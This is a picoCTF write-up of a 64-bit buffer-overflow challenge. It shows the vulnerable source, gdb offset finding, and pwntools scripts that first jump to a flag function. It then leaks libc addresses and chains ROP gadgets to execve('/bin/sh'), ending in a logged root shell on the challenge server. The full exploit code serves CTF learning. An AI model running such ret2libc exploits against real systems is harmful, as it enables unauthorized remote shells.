Intro

Overflow the buffer and change the return address to the flag function.

We are given the compiled binary, the application source code along with the hostname and port to connect to.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

We can connect to the challenge as: nc saturn.picoctf.net 50614

$ nc saturn.picoctf.net 50614
Welcome to 64-bit. Give me a string that gets you the flag: 
test

Available Functions

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010c0  puts@plt
0x00000000004010d0  setresgid@plt
0x00000000004010e0  printf@plt
0x00000000004010f0  fgets@plt
0x0000000000401100  gets@plt
0x0000000000401110  getegid@plt
0x0000000000401120  setvbuf@plt
0x0000000000401130  fopen@plt
0x0000000000401140  exit@plt
0x0000000000401150  _start
0x0000000000401180  _dl_relocate_static_pie
0x0000000000401190  deregister_tm_clones
0x00000000004011c0  register_tm_clones
0x0000000000401200  __do_global_dtors_aux
0x0000000000401230  frame_dummy
0x0000000000401236  flag
0x00000000004012b2  vuln
0x00000000004012d2  main
0x0000000000401340  __libc_csu_init
0x00000000004013b0  __libc_csu_fini
0x00000000004013b8  _fini

Binary Security Measures

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$

NX bit is enabled on the binary. We will need to use rop.

Smashing the Stack

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r <<< $(python -c "print ('A'*1000)")
Starting program: /home/kali/Desktop/rop/x-sixty-what/vuln <<< $(python -c "print ('A'*1000)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to 64-bit. Give me a string that gets you the flag: 

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffde70 ('A' <repeats 200 times>...)
RBX: 0x0 
RCX: 0x7ffff7df4a80 --> 0xfbad2088 
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7df6a60 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdeb8 ('A' <repeats 200 times>...)
RIP: 0x4012d1 (<vuln+31>:       ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x63 ('c')
R11: 0x246 
R12: 0x7fffffffdff8 ('A' <repeats 200 times>...)
R13: 0x4012d2 (<main>:  endbr64)
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2c0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012ca <vuln+24>:  call   0x401100 <gets@plt>
   0x4012cf <vuln+29>:  nop
   0x4012d0 <vuln+30>:  leave  
=> 0x4012d1 <vuln+31>:  ret    
   0x4012d2 <main>:     endbr64 
   0x4012d6 <main+4>:   push   rbp
   0x4012d7 <main+5>:   mov    rbp,rsp
   0x4012da <main+8>:   sub    rsp,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdeb8 ('A' <repeats 200 times>...)
0008| 0x7fffffffdec0 ('A' <repeats 200 times>...)
0016| 0x7fffffffdec8 ('A' <repeats 200 times>...)
0024| 0x7fffffffded0 ('A' <repeats 200 times>...)
0032| 0x7fffffffded8 ('A' <repeats 200 times>...)
0040| 0x7fffffffdee0 ('A' <repeats 200 times>...)
0048| 0x7fffffffdee8 ('A' <repeats 200 times>...)
0056| 0x7fffffffdef0 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012d1 in vuln ()
gdb-peda$

RIP Offset

gdb-peda$ pattern_create 1000 input_buf
Writing pattern of 1000 chars to filename "input_buf"
gdb-peda$ r < input_buf 
Starting program: /home/kali/Desktop/rop/x-sixty-what/vuln < input_buf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to 64-bit. Give me a string that gets you the flag: 

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffde70 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RBX: 0x0 
RCX: 0x7ffff7df4a80 --> 0xfbad2098 
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7df6a60 --> 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffdeb8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
RIP: 0x4012d1 (<vuln+31>:       ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x63 ('c')
R11: 0x246 
R12: 0x7fffffffdff8 ("%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAsw"...)
R13: 0x4012d2 (<main>:  endbr64)
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2c0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012ca <vuln+24>:  call   0x401100 <gets@plt>
   0x4012cf <vuln+29>:  nop
   0x4012d0 <vuln+30>:  leave  
=> 0x4012d1 <vuln+31>:  ret    
   0x4012d2 <main>:     endbr64 
   0x4012d6 <main+4>:   push   rbp
   0x4012d7 <main+5>:   mov    rbp,rsp
   0x4012da <main+8>:   sub    rsp,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdeb8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0008| 0x7fffffffdec0 ("AJAAfAA5
[...]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012d1 in vuln ()
gdb-peda$ pattern_offset IAAeAA4A
IAAeAA4A found at offset: 72
gdb-peda$

RIP Offset at 72.

Getting the flag

We just need to redirect execution to flag function.

from pwn import *

#host, port = "saturn.picoctf.net", 62449
host, port = "127.0.0.1", 4444

chall = ELF("./vuln")

flag = chall.symbols["flag"]

payload = b"A"*72

# redirect execution to flag function
payload += p64(flag)

r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive flag content
flag_content = r.recv(64) 

print (flag_content.decode())

Testing locally. Running the challenge on port 4444 as while true; do nc -nvlp 4444 -e ./vuln;done.

$ python poc.py
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 127.0.0.1 on port 4444: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

MEH{TEST_FLAG_FOR_TESTING_MEEEEEHHHH}

[*] Closed connection to 127.0.0.1 port 4444

Testing against the challenge server. For some reason, this method did not work. However, updating the return address to 0x000000000040123b which is the address of third instruction inside flag function, the exploit works.

gdb-peda$ disassemble flag 
Dump of assembler code for function flag:
   0x0000000000401236 <+0>:     endbr64 
   0x000000000040123a <+4>:     push   rbp
   0x000000000040123b <+5>:     mov    rbp,rsp
   0x000000000040123e <+8>:     sub    rsp,0x50
   [....] 
   0x00000000004012b1 <+123>:   ret    
End of assembler dump.
gdb-peda$

Updated PoC.

from pwn import *

host, port = "saturn.picoctf.net", 52263
#host, port = "127.0.0.1", 4444

chall = ELF("./vuln")

flag = chall.symbols["flag"]

payload = b"A"*72
payload += p64(0x000000000040123b)

r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive flag content
flag_content = r.recv(64)

print (flag_content.decode())

Running against Challenge server.

$ python poc.py
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 52263: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

picoCTF{b1663r_15_b3773r_964d9987}
[*] Closed connection to saturn.picoctf.net port 52263

Pwning the Server

We know that the challenge binary itself is not ASLR enabled, meaning we can use function addresses within the binary itself.The challenge binary has multiple functions such as puts, gets, setvbuf, getegid etc. The puts function is of great interest to us as it would allow us leak memory addresses.

We can identify the version of libc.so.6 on the server by leaking the addresses for different functions. With the help of libc-database, we can specify the function names and addresses to potentially identify the target libc version.

Pwn Approach

  • Use puts@plt to leak the addresses of two or more functions.
  • Search libc-database with addresses of leaked functions to identify the target libc version.
  • Download the target libc.
  • Find addresses of execve, system, /bin/sh and any required gadget from libc and call either system or execve.

Leak #1 - puts() Address

Code to leak puts() address.

from pwn import *

host, port = "saturn.picoctf.net", 62449
#host, port = "127.0.0.1", 4444

fake_ret = 0xcafebabedeadbeef


chall = ELF("./vuln")

# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']
puts_got_plt = chall.got['puts']
gets_got_plt = chall.got['gets']

main = chall.symbols["main"]

# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret; 
pop_rdi_ret = 0x4013a3

payload = b"A"*72

# call puts to leak address of puts
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt)    # RDI contains [email protected]

payload += p64(puts_plt)        # call puts


# return to main
payload += p64(main)


r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))

Running against challenge server.

$ python poc.py
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 56146: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

[+] Leaked puts address : 0x7f3eecd8b450
[*] Closed connection to saturn.picoctf.net port 56146

Searching the leaked address in libc-database shows multiple results for libc.

Symbol Name - puts
Address - 0x7f3eecd8b450 # or last 3 characters (450) of the address

Results:

libc6-i386_2.31-3_amd64
libc-2.31-3-x86
musl_1.1.23-2build1_amd64
libc6_2.11~20100104-0ubuntu2_amd64
libc6_2.11~20100104-0ubuntu1_amd64
libc6-i386_2.33-0experimental2_amd64
libc-2.35-2.mga9.x86_64_2
libc-2.35-1.mga9.x86_64_2
libc-2.35-5.mga9.x86_64_2
libc-2.35-3.mga9.x86_64_2

To narrow this list down, we must leak another address.

Leak #2 - setvbuf() Address

I attempted to return to the main function after first leak to exploit the overflow again to leak second address, however, it was giving incorrect addresses for the second leak. To overcome this, I closed the socket connection after first leak and connected again before leaking second address.

from pwn import *

if args.REMOTE:
        host, port = "saturn.picoctf.net", 56146
else:
        host, port = "127.0.0.1", 4444


fake_ret = 0xcafebabedeadbeef


chall = ELF("./vuln")

# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']

# Addresses to leak
# We can use either below method or use GDB to find got.plt addresses of functions
puts_got_plt 	= chall.got['puts']		# 0x404018
setvbuf_got_plt = chall.got['setvbuf']		# 0x404048

# Finding got.plt addresses of functions from GDB

# gdb-peda$ p puts
# $1 = {<text variable, no debug info>} 0x4010c0 <puts@plt>
# gdb-peda$ disassemble 0x4010c0
# Dump of assembler code for function puts@plt:
#    0x00000000004010c0 <+0>:     endbr64
#    0x00000000004010c4 <+4>:     bnd jmp QWORD PTR [rip+0x2f4d]        # 0x404018 <[email protected]>
#    0x00000000004010cb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.

# gdb-peda$ p setvbuf
# $2 = {<text variable, no debug info>} 0x401120 <setvbuf@plt>
# gdb-peda$ disassemble 0x401120
# Dump of assembler code for function setvbuf@plt:
#    0x0000000000401120 <+0>:     endbr64
#    0x0000000000401124 <+4>:     bnd jmp QWORD PTR [rip+0x2f1d]        # 0x404048 <[email protected]>
#    0x000000000040112b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.


main = chall.symbols["main"]


# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3

# ropper --file ./vuln --search "pop rsi;"
# 0x00000000004013a1: pop rsi; pop r15; ret;
pop_rsi_r15_ret = 0x4013a1

payload = b"A"*72

# Leak address of puts()
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt)	# rdi = [email protected]

payload += p64(puts_plt)	# call puts

payload += p64(main)		# return to main function after leak


r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))

r.close()

# Second Leak

payload = b"A"*72

# Leak address of setvbuf()
payload += p64(pop_rdi_ret)
payload += p64(setvbuf_got_plt)	# rdi = [email protected]

payload += p64(puts_plt)	# call puts

payload += p64(main)		# return to main function after leak


r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive address of puts
setvbuf_leaked = r.recv(6) + b"\x00\x00"
setvbuf_leaked_addr = u64(setvbuf_leaked)
print ("[+] Leaked setvbuf address : " + hex(setvbuf_leaked_addr))

Running against challenge server.

$ python poc.py REMOTE 
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 56146: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

[+] Leaked puts address : 0x7fa790ad4450
[*] Closed connection to saturn.picoctf.net port 56146
[+] Opening connection to saturn.picoctf.net on port 56146: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

[+] Leaked setvbuf address : 0x7f53da0c6d10
[*] Closed connection to saturn.picoctf.net port 56146

We now have two function addresses to search in libc-database.

Symbol Name - puts
Address - 0x7fa790ad4450

Symbol Name - setvbuf
Address - 0x7f53da0c6d10

Results:
libc6_2.31-0ubuntu9.7_amd64

This time, the search result contained only one libc version - libc6_2.31-0ubuntu9.7_amd64. The libc-database also shows offsets for useful functions and strings required to write an exploit.

Download - https://libc.rip/download/libc6_2.31-0ubuntu9.7_amd64.so
All Symbols	- https://libc.rip/download/libc6_2.31-0ubuntu9.7_amd64.symbols
BuildID - 9fdb74e7b217d06c93172a8243f8547f947ee6d1
MD5	3cc133044168b7cbbc54e636e05a9a80
__libc_start_main_ret	0x240b3
dup2	0x10e8f0
printf	0x61cc0
puts	0x84450
read	0x10dff0
setvbuf	0x84d10
str_bin_sh	0x1b45bd
system	0x522c0
write	0x10e090

Writing the Exploit

Now that we have a copy of libc same as the one on the target machine, we can write an exploit for getting a shell. We can get offsets functions from the libc and use the leaked addresses to calculate base address of libc.

Once we do that, we can get addresses for any functions within libc such as execve, system. In the exploit, I’m returning to the main address after every leak so that we can re-exploit the overflow.

from pwn import *

if args.REMOTE:
        host, port = "saturn.picoctf.net", 54665
else:
        host, port = "127.0.0.1", 4444


fake_ret = 0xcafebabedeadbeef

libc = ELF("./libc6_2.31-0ubuntu9.7_amd64.so")
chall = ELF("./vuln")

# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']

# Addresses to leak
# We can use either below method or use GDB to find got.plt addresses of functions
puts_got_plt 	= chall.got['puts']		# 0x404018
setvbuf_got_plt = chall.got['setvbuf']		# 0x404048

# Finding got.plt addresses of functions from GDB

# gdb-peda$ p puts
# $1 = {<text variable, no debug info>} 0x4010c0 <puts@plt>
# gdb-peda$ disassemble 0x4010c0
# Dump of assembler code for function puts@plt:
#    0x00000000004010c0 <+0>:     endbr64
#    0x00000000004010c4 <+4>:     bnd jmp QWORD PTR [rip+0x2f4d]        # 0x404018 <[email protected]>
#    0x00000000004010cb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.

# gdb-peda$ p setvbuf
# $2 = {<text variable, no debug info>} 0x401120 <setvbuf@plt>
# gdb-peda$ disassemble 0x401120
# Dump of assembler code for function setvbuf@plt:
#    0x0000000000401120 <+0>:     endbr64
#    0x0000000000401124 <+4>:     bnd jmp QWORD PTR [rip+0x2f1d]        # 0x404048 <[email protected]>
#    0x000000000040112b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.


main = chall.symbols["main"]


# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3

# ropper --file ./vuln --search "pop rsi;"
# 0x00000000004013a1: pop rsi; pop r15; ret;
pop_rsi_r15_ret = 0x4013a1

payload = b"A"*72

# Leak address of puts()
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt)	# rdi = [email protected]

payload += p64(puts_plt)	# call puts

payload += p64(main)		# return to main function after leak


r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))


# calculate libc base address
puts_offset = libc.symbols["puts"]
execve_offset = libc.symbols["execve"]
system_offset = libc.symbols["system"]


# update libc base address
libc.address = puts_leaked_addr - puts_offset

print ("[+] Libc Base Address : " + hex(libc.address))

binsh_string = next(libc.search(b"/bin/sh\x00"))
zero_ptr = next(libc.search(b"\x00"*8))
execve_addr = libc.address + execve_offset
system_addr = libc.address + system_offset

print ("[+] execve() address : " + hex(execve_addr))
print ("[+] system() address : " + hex(system_addr))
print ("[+] ptr ->'/bin/sh' : " + hex(binsh_string))


print ("[+] Confirming /bin/sh by leaking %s" % hex(binsh_string))
# print out /bin/sh string to verify

payload = b"A"*72

# Leak string at binsh_addr
payload += p64(pop_rdi_ret)
payload += p64(binsh_string)	# rdi = * "/bin/sh"

payload += p64(puts_plt)	# call puts

payload += p64(main)		# return to main function after leak

#  Send the payload
r.sendline(payload)

r.interactive()

Testing against challenge server.

$ python poc.py REMOTE                                                 
[*] '/home/kali/Desktop/rop/x-sixty-what/libc6_2.31-0ubuntu9.7_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 54665: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

[+] Leaked puts address : 0x7f2b505e2450
[+] Libc Base Address : 0x7f2b5055e000
[+] execve() address : 0x7f2b506411a0
[+] system() address : 0x7f2b505b02c0
[+] ptr ->'/bin/sh' : 0x7f2b507125bd
[+] Confirming /bin/sh by leaking 0x7f2b507125bd
[*] Switching to interactive mode

Welcome to 64-bit. Give me a string that gets you the flag: 
/bin/sh
Welcome to 64-bit. Give me a string that gets you the flag: 
$ 
[*] Interrupted
[*] Closed connection to saturn.picoctf.net port 54665

Excellent. We leaked /bin/sh string from memory which implies we are using right version of libc. All thats left is to call execve function to get a shell.

Getting a Shell

Final Exploit Code:

from pwn import *

if args.REMOTE:
        host, port = "saturn.picoctf.net", 59337
else:
        host, port = "127.0.0.1", 4444


fake_ret = 0xcafebabedeadbeef

libc = ELF("./libc6_2.31-0ubuntu9.7_amd64.so")
chall = ELF("./vuln")

# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']

# Addresses to leak
# We can use either below method or use GDB to find got.plt addresses of functions
puts_got_plt 	= chall.got['puts']		# 0x404018
setvbuf_got_plt = chall.got['setvbuf']		# 0x404048

# Finding got.plt addresses of functions from GDB

# gdb-peda$ p puts
# $1 = {<text variable, no debug info>} 0x4010c0 <puts@plt>
# gdb-peda$ disassemble 0x4010c0
# Dump of assembler code for function puts@plt:
#    0x00000000004010c0 <+0>:     endbr64
#    0x00000000004010c4 <+4>:     bnd jmp QWORD PTR [rip+0x2f4d]        # 0x404018 <[email protected]>
#    0x00000000004010cb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.

# gdb-peda$ p setvbuf
# $2 = {<text variable, no debug info>} 0x401120 <setvbuf@plt>
# gdb-peda$ disassemble 0x401120
# Dump of assembler code for function setvbuf@plt:
#    0x0000000000401120 <+0>:     endbr64
#    0x0000000000401124 <+4>:     bnd jmp QWORD PTR [rip+0x2f1d]        # 0x404048 <[email protected]>
#    0x000000000040112b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.


main = chall.symbols["main"]


# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3

# ropper --file ./vuln --search "pop rsi;"
# 0x00000000004013a1: pop rsi; pop r15; ret;
pop_rsi_r15_ret = 0x4013a1


# Step 1: Leaking puts() address
################################



payload = b"A"*72

# Leak address of puts()
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt)	# rdi = [email protected]

payload += p64(puts_plt)	# call puts

payload += p64(main)		# return to main function after leak


r = remote(host, port)

# print banner
print (r.recvline().decode())

#  Send the payload
r.sendline(payload)

# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))

# Step 2: Calculating required addresses
##########################################


# calculate libc base address
puts_offset = libc.symbols["puts"]
execve_offset = libc.symbols["execve"]
system_offset = libc.symbols["system"]


# update libc base address
libc.address = puts_leaked_addr - puts_offset

print ("[+] Libc Base Address : " + hex(libc.address))

binsh_string = next(libc.search(b"/bin/sh\x00"))
zero_ptr = next(libc.search(b"\x00"*8))
execve_addr = libc.address + execve_offset
system_addr = libc.address + system_offset

print ("[+] execve() address : " + hex(execve_addr))
print ("[+] system() address : " + hex(system_addr))
print ("[+] ptr ->'/bin/sh' : " + hex(binsh_string))



# Step 3: Leaking /bin/sh
##########################

# this step is not required, i did this
# just to confirm if all the address calculations
# are correct

print ("[+] Confirming /bin/sh by leaking %s" % hex(binsh_string))
# print out /bin/sh string to verify

payload = b"A"*72

# Leak string at binsh_addr
payload += p64(pop_rdi_ret)
payload += p64(binsh_string)	# rdi = * "/bin/sh"

payload += p64(puts_plt)	# call puts

payload += p64(main)		# return to main function after leak

#  Send the payload
r.sendline(payload)



# Step 4: Calling execve
##########################
# execve(*"/bin/sh", *0, *0)
# RDI = ptr to /bin/sh
# RSI = zero pointer
# RDX = zero pointer


payload = b"A"*72

payload += p64(pop_rdi_ret)
payload += p64(binsh_string)    # rdi = * "/bin/sh"

payload += p64(pop_rsi_r15_ret)
payload += p64(zero_ptr)	# rsi = zero pointer
payload += p64(0x4242424242424242)


# dont care about rdx
# also i did not find gadgets to set values for rdx
# exploit works even without setting rdx

payload += p64(execve_addr)	# call execve

#  Send the payload
r.sendline(payload)


r.interactive()

Testing against challenge server.

$ python poc.py REMOTE
[*] '/home/kali/Desktop/rop/x-sixty-what/libc6_2.31-0ubuntu9.7_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 59337: Done
Welcome to 64-bit. Give me a string that gets you the flag: 

[+] Leaked puts address : 0x7efc77420450
[+] Libc Base Address : 0x7efc7739c000
[+] execve() address : 0x7efc7747f1a0
[+] system() address : 0x7efc773ee2c0
[+] ptr ->'/bin/sh' : 0x7efc775505bd
[+] Confirming /bin/sh by leaking 0x7efc775505bd
[*] Switching to interactive mode

Welcome to 64-bit. Give me a string that gets you the flag: 
/bin/sh
Welcome to 64-bit. Give me a string that gets you the flag: 
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ cat flag.txt;echo
picoCTF{b1663r_15_b3773r_964d9987}
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to saturn.picoctf.net port 59337